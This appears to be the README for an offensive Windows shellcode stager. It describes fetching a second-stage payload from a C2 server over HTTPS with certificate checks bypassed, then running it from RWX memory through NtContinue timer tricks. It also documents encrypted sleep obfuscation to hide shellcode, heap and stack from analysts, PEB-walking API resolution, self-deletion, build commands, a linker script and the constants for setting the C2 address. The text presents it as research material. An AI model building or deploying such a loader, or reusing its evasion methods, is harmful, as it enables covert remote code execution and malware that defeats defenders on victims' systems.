For security research and educational purposes only.
- Position-Independent Code (PIC) - No relocations, runs from any memory address
- HTTPS Stage Fetching - Retrieves stage via WinHTTP with certificate validation bypass (self signed OK)
- Sleep Obfuscation - RC4 encrypts shellcode + heap + stack during sleep via encrypted timer chain
- Timer-Based Execution - Stage executed via
NtContinuecontext switching - Self-Destruction - Stager memory freed after stage handoff
- No String Literals - All strings built on stack
- PEB Walking - Dynamic API resolution without
GetProcAddressimports
┌─────────────────────────────────────────────────────────────────┐
│ 1. API RESOLUTION │
│ PEB walk → kernel32 → LoadLibraryA │
│ Load: ntdll, advapi32, winhttp │
├─────────────────────────────────────────────────────────────────┤
│ 2. PROTECTED SLEEP (11-step encrypted timer chain) │
│ Timer 0: Decrypt timer chain body │
│ Timer 1: VirtualProtect(RW) │
│ Timer 2-4: RC4 encrypt shellcode, heap, stack │
│ Timer 5: WaitForSingleObject (sleep) │
│ Timer 6-8: RC4 decrypt stack, heap, shellcode │
│ Timer 9: VirtualProtect(RX) │
│ Timer 10: SetEvent (wake) │
├─────────────────────────────────────────────────────────────────┤
│ 3. FETCH STAGE │
│ WinHTTP GET /stage → raw shellcode bytes │
│ VirtualAlloc(RWX) → copy stage │
├─────────────────────────────────────────────────────────────────┤
│ 4. EXECUTE + ZERO │
│ Timer 1 (T+0): NtContinue → execute stage │
│ Timer 2 (T+100ms): VirtualFree(stager) → self-destruct │
└─────────────────────────────────────────────────────────────────┘
WSL or Linux with MinGW cross-compiler:
sudo apt install gcc-mingw-w64-x86-64 binutils# Compile to flat binary
x86_64-w64-mingw32-gcc-win32 -c payload.c -o payload.o \
-Os -fPIC -nostdlib -nostartfiles -ffreestanding \
-fno-asynchronous-unwind-tables -fno-ident \
-fno-stack-protector -mno-stack-arg-probe -e start -s
# Link to raw shellcode (requires linker script)
ld -T linker.ld payload.o -o payload.binLinker script (linker.ld):
OUTPUT_FORMAT("binary");
SECTIONS {
. = 0x00;
.text : {
*(.text)
*(.func)
}
}
Edit payload.c before building:
| Constant | Location | Description |
|---|---|---|
INITIAL_SLEEP_MS |
Line ~490 | Initial sleep delay (default: 300000ms) |
server[] |
Line ~600 | C2 server address (default: 127.0.0.1) |
| Port 443 | WinHttpConnect call |
HTTPS port |
/stage |
http_get_stage |
Stage endpoint path |
The stager expects:
- HTTPS server on configured host:port
GET /stagereturns raw shellcode bytes- Self-signed certificates accepted (validation bypassed)
Timer chain data is split into two regions:
| Region | Contents | During Sleep |
|---|---|---|
| Header (~1.3KB) | Timer 0 CONTEXT, Key B, body descriptor | Exposed |
| Body (~14KB) | 10 ROP CONTEXTs, Key A, region descriptors | Encrypted |
Protected during sleep:
- Shellcode (encrypted with Key A)
- Heap (encrypted with Key A)
- Stack (encrypted with Key A)
- Timer chain body (encrypted with Key B)
Exposed during sleep:
- Timer 0 CONTEXT (reveals: "call SystemFunction032 on body region")
- Key B (chain decryption key, different from main Key A)
This minimizes exposure - an analyst sees only that something decrypts something, not the actual ROP chain, targets, or main encryption key.
int start(PVOID shellcode_base, DWORD shellcode_size);The loader must pass:
shellcode_base- Address where stager is loaded (for self-reference during sleep encryption)shellcode_size- Size of stager shellcode
~5400 bytes (varies with compiler optimization)
- Ekko Sleep Obfuscation - Timer-based sleep encryption